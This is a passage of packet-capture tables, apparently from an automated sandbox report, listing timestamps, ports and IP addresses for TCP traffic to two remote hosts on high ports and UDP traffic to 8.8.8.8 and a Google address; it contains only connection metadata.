Aug 23, 2022 03:46:28.495749950 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495758057 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495790958 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495836020 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495877028 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495891094 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495925903 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:28.495987892 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.496047020 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.589997053 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:28.590534925 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:28.593136072 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:28.633235931 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.633260965 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.633277893 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.633428097 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.633547068 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.635814905 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.638262033 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:28.776458025 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.779324055 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:28.889537096 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:28.917817116 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.919372082 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:28.991784096 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.009430885 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.060807943 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:29.101100922 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:29.245322943 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:29.305104017 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.305363894 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.403053999 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:29.404850960 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:29.547534943 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:29.551644087 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:29.600109100 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.600131989 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.600145102 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.600157976 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.600271940 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.600352049 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.658201933 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.658327103 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.690265894 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:29.804317951 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:29.894718885 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.894752026 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.894778013 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.894804955 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.894982100 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.895047903 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:29.952835083 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:29.952955961 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:30.191056967 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:30.191088915 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:30.191103935 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:30.191121101 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:30.247991085 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:30.248024940 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:30.249273062 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:30.304299116 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:30.395129919 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:30.395803928 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:30.545711040 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:30.546698093 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:30.609330893 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:30.685811043 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:30.719007969 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:30.904797077 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:31.053170919 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:31.348226070 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:31.349900007 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:31.645175934 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:31.646059036 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:31.942604065 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:31.943567038 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:32.239512920 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:32.304791927 CEST	49833	34589	192.168.2.4	103.89.90.61

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 23, 2022 03:42:33.975733042 CEST	58565	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:33.984795094 CEST	56807	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:33.985949993 CEST	61007	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:33.986988068 CEST	60686	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:33.992367029 CEST	53	58565	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.004235029 CEST	53	56807	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.011050940 CEST	53	61007	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.013896942 CEST	53	60686	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.162568092 CEST	61124	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.179780960 CEST	53	61124	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.470513105 CEST	59444	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.489480019 CEST	53	59444	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.937915087 CEST	64906	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.965275049 CEST	53	64906	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.731924057 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.751825094 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.753488064 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.759040117 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.759078026 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.759582043 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.771944046 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.771971941 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.774606943 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.796401024 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.815013885 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.823983908 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.824305058 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.826241016 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.842406988 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.842422962 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.842768908 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.842896938 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.868134022 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.907418013 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.907511950 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.924078941 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.924109936 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.924124002 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.924504042 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.933855057 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.933882952 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.934616089 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.942274094 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.942303896 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.947192907 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.963681936 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.972666025 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:36.703197002 CEST	61088	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:36.722064018 CEST	53	61088	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:37.001533031 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:37.018209934 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:37.019648075 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:37.019684076 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:37.019946098 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:37.046791077 CEST	59446	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:37.061786890 CEST	443	59446	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:54.052952051 CEST	55673	53	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:54.074980974 CEST	53	55673	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.697832108 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.698195934 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.698944092 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.699188948 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.722737074 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.722776890 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.722810030 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.724165916 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.724235058 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.726835012 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.726903915 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.743674040 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.743699074 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.744340897 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.745157003 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.745172977 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.745187044 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.745198965 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.745505095 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.745651960 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:19.762340069 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.762371063 CEST	443	50622	8.8.8.8	192.168.2.4
Aug 23, 2022 03:43:19.771481991 CEST	50622	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:43:20.110910892 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.132359982 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.137815952 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.147988081 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.148060083 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.150664091 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.158813000 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.158854961 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.179512024 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.181945086 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.202863932 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.324115992 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.324248075 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.324450970 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.324609995 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.345746040 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.345771074 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.345808029 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.346155882 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.346245050 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.346354008 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.346556902 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.367301941 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371798992 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371834040 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371859074 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371882915 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371905088 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371928930 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371952057 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371974945 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.371997118 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.372020960 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.372044086 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.372133017 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.372243881 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.372308969 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.372371912 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.372427940 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.372488022 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.373898983 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.373959064 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.373984098 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.378031015 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.378076077 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.379621029 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.379666090 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.382549047 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.382702112 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.383769989 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.383814096 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.383841991 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.383869886 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.385324955 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.385370016 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.386383057 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.386432886 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.386604071 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.386616945 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.386673927 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.386687994 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.386730909 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.386734009 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.386768103 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.387813091 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.388104916 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.388134956 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.388279915 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.389909029 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.389942884 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.390136957 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.391182899 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.391212940 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.391375065 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.392240047 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.392313004 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.392414093 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.392499924 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.392879963 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.395665884 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.395701885 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.395895958 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.395962954 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.395983934 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.396375895 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.397064924 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.397176027 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.397562981 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.398636103 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.398684978 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.400655031 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.400685072 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.400707006 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.400731087 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.403625011 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.403682947 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.403723001 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.403760910 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.407630920 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.407694101 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.407733917 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.407774925 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.408674002 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.408716917 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.408951044 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.409029007 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.410621881 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.410861969 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.410917044 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.411226988 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.412252903 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.412365913 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.413037062 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.413088083 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.413419962 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.413566113 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.413894892 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.413971901 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414047003 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414159060 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414218903 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414275885 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414339066 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414396048 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414457083 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414514065 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414571047 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414650917 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414715052 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414796114 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.414799929 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.414911032 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.414956093 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.414994955 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.415035963 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.415075064 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416142941 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416214943 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416255951 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416301966 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416342020 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416420937 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416461945 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416502953 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416729927 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.416848898 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.418009043 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.418052912 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.418095112 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.418139935 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.418181896 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.418224096 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.419459105 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.419506073 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.419544935 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.419590950 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.419632912 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.419672966 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.420556068 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.420600891 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.420640945 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.420681000 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.420720100 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.420960903 CEST	443	64773	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.421288013 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.421370983 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.422910929 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.422961950 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.423018932 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.423075914 CEST	64773	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.423130989 CEST	64773	443	192.168.2.4	142.250.180.170
